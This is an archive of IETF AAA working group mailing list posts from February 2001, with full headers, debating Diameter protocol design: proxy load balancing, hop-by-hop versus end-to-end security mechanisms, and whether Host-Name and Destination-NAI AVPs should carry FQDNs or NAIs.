mailto:j.cushnie@lancaster.ac.uk email: mailto:john@dallambarn.freeserve.co.uk SMS Email: mailto:jcushnie@orange.net WWW: http://www.comp.lancs.ac.uk/computing/users/cushniej/ From owner-aaa-bof@merit.edu Fri Feb 9 11:41:52 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA22804 for ; Fri, 9 Feb 2001 11:41:52 -0500 (EST) Received: by segue.merit.edu (Postfix) id A97B95DF3C; Fri, 9 Feb 2001 11:36:43 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 1DD505DF15; Fri, 9 Feb 2001 11:36:41 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 431885DF3D for ; Fri, 9 Feb 2001 11:36:14 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA05761; Fri, 9 Feb 2001 08:36:11 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA05209; Fri, 9 Feb 2001 08:36:10 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id IAA04271; Fri, 9 Feb 2001 08:36:08 -0800 (PST) Date: Fri, 9 Feb 2001 08:36:09 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Assuming silence is consent To: aaa-wg@merit.edu, diameter@diameter.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, I posted a list of agreements that were made at the Interim AAA meeting on 2/7 in San Diego. So far, I have seen one response. Given that I was requested to get the -01 draft, with the changes, ready by the IETF deadline, I will have to start working on the new draft ASAP. If you have any issues with the outcome of the interim meeting (see yesterday's e-mail), please speak up now. Thanks, PatC From owner-aaa-bof@merit.edu Fri Feb 9 11:50:44 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA23058 for ; Fri, 9 Feb 2001 11:50:44 -0500 (EST) Received: by segue.merit.edu (Postfix) id 0F5C95DE98; Fri, 9 Feb 2001 11:48:34 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id EFA6D5DE97; Fri, 9 Feb 2001 11:48:33 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 9FE8A5DE96 for ; Fri, 9 Feb 2001 11:48:32 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA10759; Fri, 9 Feb 2001 08:48:31 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA07148; Fri, 9 Feb 2001 08:48:31 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id IAA04446; Fri, 9 Feb 2001 08:48:27 -0800 (PST) Date: Fri, 9 Feb 2001 08:48:27 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Load Balancing To: aaa-wg@merit.edu, diameter@diameter.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, One of the resolutions at the interim meeting was to use pearson's hash for load balancing purposes: 3. The base spec will include text on load balancing across multiple proxies, and will document Pearson's hash, and use the NAI as the seed. The hash algorithm can be found in draft-ietf-dhc-loadb-03.txt. I have been thinking about this alot more, and even tried to put this in the I-D to see what would fall out, and I am not sure how it would be used. Unlike DHCP, Diameter nodes do some capabilities exchange, so a client knows whether a particular request should be forwarded to a next hop or not, based on its supported extensions. The hash, as I understand it, would allow a node to hash the NAI and use the result to identify the next hop. However, doing this will now require that a separate hash table exist for server+extension. So all servers with the NASREQ extension would be in one hash, and the same servers MAY also be present in the Accounting and Mobile IP hash table. This seems unnecessarily complex, but I wanted to find out from the WG what people think. Does the above complexity justify a good load balancing algorithm? Is this something that we really want to support (or recommend) in the Diameter protocol? Thanks, PatC From owner-aaa-bof@merit.edu Fri Feb 9 13:23:37 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA27569 for ; Fri, 9 Feb 2001 13:23:37 -0500 (EST) Received: by segue.merit.edu (Postfix) id 232825DE04; Fri, 9 Feb 2001 13:19:23 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id C763D5DE87; Fri, 9 Feb 2001 13:19:22 -0500 (EST) Received: from cisco.com (tiffin.cisco.com [171.69.27.18]) by segue.merit.edu (Postfix) with ESMTP id CEFCD5DE96 for ; Fri, 9 Feb 2001 13:16:38 -0500 (EST) Received: (from kaushik@localhost) by cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA07446; Fri, 9 Feb 2001 10:16:35 -0800 (PST) From: Kaushik Narayan Message-Id: <200102091816.KAA07446@cisco.com> Subject: [AAA-WG]: Regarding security proposals from the interim meeting To: aaa-wg@merit.edu Date: Fri, 9 Feb 2001 10:16:35 -0800 (PST) Cc: kaushik@cisco.com (Kaushik Narayan) X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit hi! Well at the interim meeting it was felt that the following security mechanisms be supported NAS - IPSEC,SSL,Object Level (pki,kerb) Proxy - IPSEC,SSL Homeserver - IPSEC,SSL, Object Level(pki,kerb) Conclusion - Use IPSEC/SSL for hop by hop Do away with ICV and E-P and shared secret mechanism Use object mechanism for end to end Here is what I feel Since object level mechanisms provide end to end security the object level infrastructure (CA,kdc) can be use to provide hop by hop security as well, moreover the shared secret mechanism can stay as well. The ICV and E-P can stay and provide hop by hop security, they can be generated using the shared secret or by using keys negotiated using the object level security mechanism (pki,kerb). Shared secrets could be used for intra-domain hops and object level security mechanisms could be used for inter-domain hops. Well i foresee two scenarios 1> Scenario I Single domain enterprise - The user logs in via the enterprise NAS and is authenticated by a diameter server in the same domain. In such a scenario shared secret security between the NAS and the diameter server would suffice. 2> Scenario II Multi-domain shared/roaming services - The user logs into a romaing/shared use NAS and the request is forwarded to the diameter homeserver via the roaming/shared proxy/proxies. In such cases there is need for e2e security between NAS-to-homeserver and hop-by-hop security between NAS-to-proxy and proxy-to-homeserver. There is a difference between these two hops.(this is a simplistic case with a single proxy in between a NAS and homeserver) NAS-to-proxy hop is an intra-domain hop and shared secret security might suffice but the proxy-to-homeserver is an inter-domain hop and there MUST be a strong security mechanism (either transport or object level). Morever NAS-to-proxy is typically a (1:1 or 1:number of backup proxies) so managing shared secrets is not a problem. Now the question boils down whether e2e security is mandatory. If e2e is mandatory for multi-domain scenarios then there would an object level mechanism and the necessary infrastructure would be present. This infrastructure can be used to provide object level security for hop-by-hop as well. In case e2e is optional and in a certain ISP decides not to use e2e security then we would need transport layer security to secure the proxy-to-homeserver hop since the customer won't need to have the object level mechanism infrastructure (KDC or PKI). Scenario I ----------- ----------- | | | | | | | | | NAS | | server | | | | | | | | | ----------- ----------- <----------------> shared secret Scenario II (e2e used) ----------- ----------- --------- | | | | | | | | | | | | | NAS | | proxy | |homeserver| | | | | | | | | | | | | ----------- ----------- ---------- <----------------> <------------> shared secret Object Level (Kerb,pki) <-------------------------------------------> Object Level (Kerb,pki) Scenario II (e2e not used) ----------- ----------- --------- | | | | | | | | | | | | | NAS | | proxy | |homeserver| | | | | | | | | | | | | ----------- ----------- ---------- <----------------> <------------> shared secret IPSEC/SSL In this case it would too much of an overhead to ask someone to have kerb,pki infrastucture for only hop by hop since hop by hop strong security can be achieved by IPSec,SSL. One note - In all three diagrams above the shared secret mechanism is being used for NAS-to-proxy hop by hop security. This is need not mandatory and strong security might be used for this hop as well. The only other scenario is the redirection wherin the NAS->to-homeserver is hop-by-hop wherein it again you would need to transport layer security. So I guess the answer to my original question of whether object level security can be used for hop by hop as well lies in two questions i> Is e2e mandatory ? ii> There was some talk in the interim meeting about discouraging redirection. Is redirection very important? There is another question that is raised Should we do away with shared secret for hop by hop especially since shared secrets might suffice for NAS-to-proxy hop and it won't effect NAS performance. kaushik! From owner-aaa-bof@merit.edu Fri Feb 9 13:25:36 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA27675 for ; Fri, 9 Feb 2001 13:25:36 -0500 (EST) Received: by segue.merit.edu (Postfix) id 307CC5DE8E; Fri, 9 Feb 2001 13:23:08 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id E84E35DEAA; Fri, 9 Feb 2001 13:23:07 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id B6F475DE8E for ; Fri, 9 Feb 2001 13:23:01 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA29649; Fri, 9 Feb 2001 10:23:01 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA26357; Fri, 9 Feb 2001 10:23:00 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id KAA06103; Fri, 9 Feb 2001 10:22:58 -0800 (PST) Date: Fri, 9 Feb 2001 10:22:58 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Host-Name and Destination-NAI AVPs To: aaa-wg@merit.edu, diameter@diameter.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, I would like to see if anyone agrees with me that the Host-Name and Destination-NAI AVPs should contain FQDN, instead of NAIs. Originally, I believe that they contained NAIs for the purposes of routing, but the User-Name is an NAI, and in its absence the Routing-Realm can be used. So, I really do not see a reason for making the Destination-NAI and Host-Name AVP be an NAI. FQDNs can be used to resolve the name to an IP address, which is much more useful. Comments? PatC From owner-aaa-bof@merit.edu Fri Feb 9 14:06:39 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28943 for ; Fri, 9 Feb 2001 14:06:39 -0500 (EST) Received: by segue.merit.edu (Postfix) id 391585DE8F; Fri, 9 Feb 2001 14:04:31 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 27B8E5DE63; Fri, 9 Feb 2001 14:04:31 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id 3F4045DDE5 for ; Fri, 9 Feb 2001 14:04:29 -0500 (EST) Received: (qmail 11062 invoked by uid 500); 9 Feb 2001 19:05:59 -0000 Date: Fri, 9 Feb 2001 13:05:58 -0600 From: David Frascone To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Host-Name and Destination-NAI AVPs Message-ID: <20010209130558.I9073@newman.frascone.com> Mail-Followup-To: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from pcalhoun@nasnfs.eng.sun.com on Fri, Feb 09, 2001 at 10:22:58AM -0800 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk I agree. On Fri, Feb 09, 2001 at 10:22:58AM -0800, Patrice Calhoun wrote: > All, > > I would like to see if anyone agrees with me that the Host-Name and > Destination-NAI AVPs should contain FQDN, instead of NAIs. Originally, I > believe that they contained NAIs for the purposes of routing, but the > User-Name is an NAI, and in its absence the Routing-Realm can be used. So, I > really do not see a reason for making the Destination-NAI and Host-Name AVP be > an NAI. FQDNs can be used to resolve the name to an IP address, which is much > more useful. > > Comments? > > PatC > > From owner-aaa-bof@merit.edu Fri Feb 9 21:38:00 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA07391 for ; Fri, 9 Feb 2001 21:38:00 -0500 (EST) Received: by segue.merit.edu (Postfix) id A48B65DDA9; Fri, 9 Feb 2001 21:35:22 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 8D8845DE7A; Fri, 9 Feb 2001 21:35:22 -0500 (EST) Received: from mx.databus.com (p101-44.acedsl.com [160.79.101.44]) by segue.merit.edu (Postfix) with ESMTP id D890E5DDA9 for ; Fri, 9 Feb 2001 21:35:20 -0500 (EST) Received: (from barney@localhost) by mx.databus.com (8.11.1/8.11.1) id f1A2ZBo54711; Fri, 9 Feb 2001 21:35:11 -0500 (EST) (envelope-from barney) Date: Fri, 9 Feb 2001 21:35:11 -0500 From: Barney Wolff To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Load Balancing Message-ID: <20010209213510.A54615@mx.databus.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from pcalhoun@nasnfs.eng.sun.com on Fri, Feb 09, 2001 at 08:48:27AM -0800 Sender: owner-aaa-bof@merit.edu Precedence: bulk Much as I sympathize with the desire to have a particular user's requests always hit the same server, I believe that's an internal matter for the organization running the server farm. If I had to do that, I'd put a private proxy in front of the farm and then the hash algorithm is nobody's business but mine. In other words, I think we're succumbing to the Second System Effect here, perhaps better known these days as Feeping Creaturism. Barney On Fri, Feb 09, 2001 at 08:48:27AM -0800, Patrice Calhoun wrote: > All, > > One of the resolutions at the interim meeting was to use pearson's hash for > load balancing purposes: > > 3. The base spec will include text on load balancing across multiple > proxies, and will document Pearson's hash, and use the NAI as the > seed. The hash algorithm can be found in draft-ietf-dhc-loadb-03.txt. > > I have been thinking about this alot more, and even tried to put this in the > I-D to see what would fall out, and I am not sure how it would be used. Unlike > DHCP, Diameter nodes do some capabilities exchange, so a client knows whether > a particular request should be forwarded to a next hop or not, based on its > supported extensions. > > The hash, as I understand it, would allow a node to hash the NAI and use the > result to identify the next hop. However, doing this will now require that a > separate hash table exist for server+extension. So all servers with the NASREQ > extension would be in one hash, and the same servers MAY also be present in > the Accounting and Mobile IP hash table. > > This seems unnecessarily complex, but I wanted to find out from the WG what > people think. Does the above complexity justify a good load balancing > algorithm? Is this something that we really want to support (or recommend) in > the Diameter protocol? > > Thanks, > > PatC > > From owner-aaa-bof@merit.edu Sat Feb 10 01:59:55 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA17428 for ; Sat, 10 Feb 2001 01:59:54 -0500 (EST) Received: by segue.merit.edu (Postfix) id 5DD3E5DDD8; Sat, 10 Feb 2001 01:59:36 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 41B135DE7E; Sat, 10 Feb 2001 01:59:36 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id A1AD15DDD8 for ; Sat, 10 Feb 2001 01:59:34 -0500 (EST) Received: from gwzpc (sj-dial-4-72.cisco.com [171.68.181.201]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id WAA07437; Fri, 9 Feb 2001 22:59:02 -0800 (PST) Reply-To: From: "Glen Zorn" To: "David Frascone" , "Patrice Calhoun" Cc: , Subject: RE: [AAA-WG]: Host-Name and Destination-NAI AVPs Date: Fri, 9 Feb 2001 22:57:18 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <20010209130558.I9073@newman.frascone.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit David Frascone [mailto:dave@frascone.com] writes: Ditto (with the obvious name change). > I agree. > > On Fri, Feb 09, 2001 at 10:22:58AM -0800, Patrice Calhoun wrote: > > All, > > > > I would like to see if anyone agrees with me that the Host-Name and > > Destination-NAI AVPs should contain FQDN, instead of NAIs. Originally, I > > believe that they contained NAIs for the purposes of routing, but the > > User-Name is an NAI, and in its absence the Routing-Realm can > be used. So, I > > really do not see a reason for making the Destination-NAI and > Host-Name AVP be > > an NAI. FQDNs can be used to resolve the name to an IP address, > which is much > > more useful. > > > > Comments? > > > > PatC > > > > > > From owner-aaa-bof@merit.edu Sat Feb 10 16:12:25 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA27944 for ; Sat, 10 Feb 2001 16:12:25 -0500 (EST) Received: by segue.merit.edu (Postfix) id E9A6E5DE1D; Sat, 10 Feb 2001 16:11:52 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id CAE0F5DE97; Sat, 10 Feb 2001 16:11:52 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 048355DE1D for ; Sat, 10 Feb 2001 16:11:51 -0500 (EST) Received: from Interlinknetworks.com (pm452-43.dialip.mich.net [204.39.226.149]) by aaa.interlinknetworks.com (Postfix) with ESMTP id 995FE72; Sat, 10 Feb 2001 16:11:59 -0500 (EST) Message-ID: <3A85AE96.9B0FAFB@Interlinknetworks.com> Date: Sat, 10 Feb 2001 16:11:50 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Host-Name and Destination-NAI AVPs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Patrice Calhoun wrote: > > All, > > I would like to see if anyone agrees with me that the Host-Name and > Destination-NAI AVPs should contain FQDN, instead of NAIs. Originally, I > believe that they contained NAIs for the purposes of routing, but the > User-Name is an NAI, and in its absence the Routing-Realm can be used. So, I > really do not see a reason for making the Destination-NAI and Host-Name AVP be > an NAI. FQDNs can be used to resolve the name to an IP address, which is much > more useful. > > Comments? > > PatC Whoa, slow down a minute. This sounds to me like a major change, and since you didn't explain how it would work, I don't see how I can either agree or disagree with it. O.k. Let me excercise my brain a bit and see if I can imagine what you might have in mind and what the implications might be. My first set of assumptions concerns how the protocol is intended to work as specified in Alpha2. Not all of this is actually stated in Alpha2, but probably should be. I assume that if the Destination-NAI AVP contains an NAI then it has the format server@realm where "server" identifies the last hop server and "realm" identifies the last hop realm. Such an AVP, if it appeared in a message of type Request or Query could be used to route the message to its final destination. Note: The terms route or routing as used in this memo refer to the process of message forwarding through a chain of proxies at the application (Diameter) layer -- not to the activity of routing packets at the network (IP) layer. Similarly, I assume that if the Host-Name AVP contains an NAI then it has the format client@realm where "client" identifies the Diameter client (e.g., NAS) within the service provider's realm and "realm" identifies the last hop realm to which a message of type Indication containing the AVP should be routed. I assume that messages of type Response or Answer are routed using information in either the Route-Record AVPs or the Proxy-State AVP, but that messages from server to client of type Indication will 1) not contain Route-Record AVPs, 2) may be routed by the information contained in the Proxy-State AVP (if present), but 3) must contain a Host-Name AVP that can be used for routing. Now let me state my assumptions concerning your proposal above. The Destination-NAI and Host-Name AVPs will contain the fully qualified domain name (host name) of the source or destination (depending on the message type) client or server in the proxy chain. It may contain dots but no @ signs. I assume you will probably rename the Destination-NAI AVP to something like Destination AVP, so I will use the term Destination AVP in what follows to avoid confusion. In the case of the Destination AVP, the FQDN will be the host name of the host on which the Diameter server is running. Now of course this host name may be totally different than and might not contain any part of the destination realm name. In fact, it might not contain the name of any realm used by any network. So if a Diameter proxy has a realm routing table which it uses to route Request messages containing a User-Name AVP, for example, such a routing table can not be used to route on Destination AVP. In fact, I assume that the Destination and Host AVPs will be relatively useless for routing purposes except perhaps for the last hop routing decision. So my question is, how is routing supposed to work if you implement your above proposal? One possibility is that you could create an AVP of type Grouped that would contain two AVPs: one indicating the realm and the other the FQDN. The realm would be used for routing at all but the last hop, and the FQDN would be used for the last hop routing decision. I don't believe that some of the messages that currently contain Host-Name or Destination-NAI AVPs currently contain any other AVP encoding the realm to which the message should be routed. For example the STI message contains no other AVP except the Host-Name AVP that could be used for routing. I think routing on the FQDNs themselves (except at the last hop) is a bad idea for the following reasons: 1) Creating a route table for FQDNs I think would be very difficult. What part of the FQDN do I route on? With an NAI, I route on the part after the @ sign except at the last hop. 2) Creating a route table for FQDNs is unapealing because proxies would then need two route tables: one for realms and one for FQDNs. 3) Many different realms may be served by the same Diameter server. I am not absolutely sure that the routing to the server should always be the same for all of the realms served by the server. I can imagine that different proxies and brokers might be involved in the chain even though the endpoint is the same. Even if this does not need to be the case, it may be anyway because it will be difficult to enforce consistency between the realm routing table and the FQDN routing table. If the proxies and brokers keep state information, inconsistent routing for messages relating to the same session would be problematic. For example, the Access-Response and Session-Termination-Indication messages for a given session should follow the same route. Therefore they should use the same routing table. Another possibility is that you could use something like the Record-Route system for routing on FQDNs. Then there is no need for an FQDN routing table, and all messages of a session take the same route. But sessions may be long-lived, so this idea creates backup-recovery problems. In conclusion, if I've recreated your line of thinking properly, then I really don't like the above proposal and would prefer to keep using NAIs. But, of course, I may have misunderstood entirely. -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Sun Feb 11 08:20:22 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA08408 for ; Sun, 11 Feb 2001 08:20:22 -0500 (EST) Received: by segue.merit.edu (Postfix) id AA9D55DD95; Sun, 11 Feb 2001 08:18:16 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 7FE9E5DEBD; Sun, 11 Feb 2001 08:18:16 -0500 (EST) Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by segue.merit.edu (Postfix) with ESMTP id 4FF425DD95; Sun, 11 Feb 2001 08:18:14 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 14RwNr-000MOk-00; Sun, 11 Feb 2001 05:17:43 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "David Almer zahav" Cc: , , , , , , , , , , , , , , Subject: [AAA-WG]: Re: BOF: IP over Bluetooth for 50th Meeting of IETF. References: <004f01c09429$3dceb1e0$589618ac@tadlys> Message-Id: Date: Sun, 11 Feb 2001 05:17:43 -0800 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit > Gentlemen, > Please join myself, David Almer on the pre-BOF mailing list. are women not welcome? randy From owner-aaa-bof@merit.edu Mon Feb 12 09:11:47 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA06863 for ; Mon, 12 Feb 2001 09:11:47 -0500 (EST) Received: by segue.merit.edu (Postfix) id 5C7F65DDA2; Mon, 12 Feb 2001 09:11:27 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 3B6595DDE4; Mon, 12 Feb 2001 09:11:27 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id 030F85DDA2 for ; Mon, 12 Feb 2001 09:11:25 -0500 (EST) Received: (qmail 29388 invoked by uid 500); 12 Feb 2001 14:13:45 -0000 Date: Mon, 12 Feb 2001 08:13:45 -0600 From: David Frascone To: Dongfeng.Jing@nokia.com Cc: pcalhoun@nasnfs.Eng.Sun.COM, aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [diameter] Re: [AAA-WG]: Host-Name and Destination-NAI AVPs Message-ID: <20010212081345.C28602@newman.frascone.com> Mail-Followup-To: Dongfeng.Jing@nokia.com, pcalhoun@nasnfs.Eng.Sun.COM, aaa-wg@merit.edu, diameter@diameter.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Dongfeng.Jing@nokia.com on Mon, Feb 12, 2001 at 04:28:45AM +0200 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk But, there is already a difference in the real world, and it's not that confusing. If you try to connect to http://user@domain, it won't work. If you try to send e-mail to www.somedomain.org, it won't work. I think all he wants to do is clean it up, and use Fully Qualified Domain Names where a host-name would be appropriate, and use NAI's where user-names would be more appropriate. It seemed like a simple change that would clear up ambiguity, not add it. --Dave On Mon, Feb 12, 2001 at 04:28:45AM +0200, Dongfeng.Jing@nokia.com wrote: > I only think User_Name and Host_Name and Desatination _NAI should be > have same format, otherwise it will be confused and complex. I also think > that three should have different definitely impact on message in different > circumstance, > So if you want change one, it wont have great impact on others . > > Dongfeng Jing > R&D Engineer, Advanced Internet Technologies, Nokia China R&D Center > NOKIA (CHINA) INVESTMENT CO.,LTD. > Nokia House 1, No.11, He Ping Li Dong Jie, Beijing, 100013 PRC > Phone: +86 10 8422 9922 ext. 2875, MP: +86 13910822740, > fax: +86 10 8422 2439 > e-mail: dongfeng.jing@nokia.com > > > -----Original Message----- > > From: ext David Spence [mailto:DSpence@Interlinknetworks.com] > > Sent: 11. February 2001 5:12 > > To: Patrice Calhoun > > Cc: aaa-wg@merit.edu; diameter@diameter.org > > Subject: [diameter] Re: [AAA-WG]: Host-Name and Destination-NAI AVPs > > > > > > Patrice Calhoun wrote: > > > > > > All, > > > > > > I would like to see if anyone agrees with me that the Host-Name and > > > Destination-NAI AVPs should contain FQDN, instead of NAIs. > > Originally, I > > > believe that they contained NAIs for the purposes of > > routing, but the > > > User-Name is an NAI, and in its absence the Routing-Realm > > can be used. So, I > > > really do not see a reason for making the Destination-NAI > > and Host-Name AVP be > > > an NAI. FQDNs can be used to resolve the name to an IP > > address, which is much > > > more useful. > > > > > > Comments? > > > > > > PatC > > > > Whoa, slow down a minute. This sounds to me like a major > > change, and since > > you didn't explain how it would work, I don't see how I can > > either agree or > > disagree with it. > > > > O.k. Let me excercise my brain a bit and see if I can > > imagine what you > > might have in mind and what the implications might be. > > > > My first set of assumptions concerns how the protocol is > > intended to work as > > specified in Alpha2. Not all of this is actually stated in > > Alpha2, but > > probably should be. > > > > I assume that if the Destination-NAI AVP contains an NAI then > > it has the > > format server@realm where "server" identifies the last hop server and > > "realm" identifies the last hop realm. Such an AVP, if it > > appeared in a > > message of type Request or Query could be used to route the > > message to its > > final destination. > > > > Note: The terms route or routing as used in this memo refer > > to the process > > of message forwarding through a chain of proxies at the application > > (Diameter) layer -- not to the activity of routing packets at > > the network > > (IP) layer. > > > > Similarly, I assume that if the Host-Name AVP contains an NAI > > then it has > > the format client@realm where "client" identifies the > > Diameter client (e.g., > > NAS) within the service provider's realm and "realm" > > identifies the last hop > > realm to which a message of type Indication containing the > > AVP should be > > routed. > > > > I assume that messages of type Response or Answer are routed using > > information in either the Route-Record AVPs or the > > Proxy-State AVP, but that > > messages from server to client of type Indication will 1) not contain > > Route-Record AVPs, 2) may be routed by the information > > contained in the > > Proxy-State AVP (if present), but 3) must contain a Host-Name > > AVP that can > > be used for routing. > > > > Now let me state my assumptions concerning your proposal above. > > > > The Destination-NAI and Host-Name AVPs will contain the fully > > qualified > > domain name (host name) of the source or destination (depending on the > > message type) client or server in the proxy chain. It may > > contain dots but > > no @ signs. I assume you will probably rename the > > Destination-NAI AVP to > > something like Destination AVP, so I will use the term > > Destination AVP in > > what follows to avoid confusion. > > > > In the case of the Destination AVP, the FQDN will be the host > > name of the > > host on which the Diameter server is running. Now of course > > this host name > > may be totally different than and might not contain any part of the > > destination realm name. In fact, it might not contain the > > name of any realm > > used by any network. So if a Diameter proxy has a realm > > routing table which > > it uses to route Request messages containing a User-Name AVP, > > for example, > > such a routing table can not be used to route on Destination > > AVP. In fact, > > I assume that the Destination and Host AVPs will be > > relatively useless for > > routing purposes except perhaps for the last hop routing decision. > > > > So my question is, how is routing supposed to work if you > > implement your > > above proposal? > > > > One possibility is that you could create an AVP of type > > Grouped that 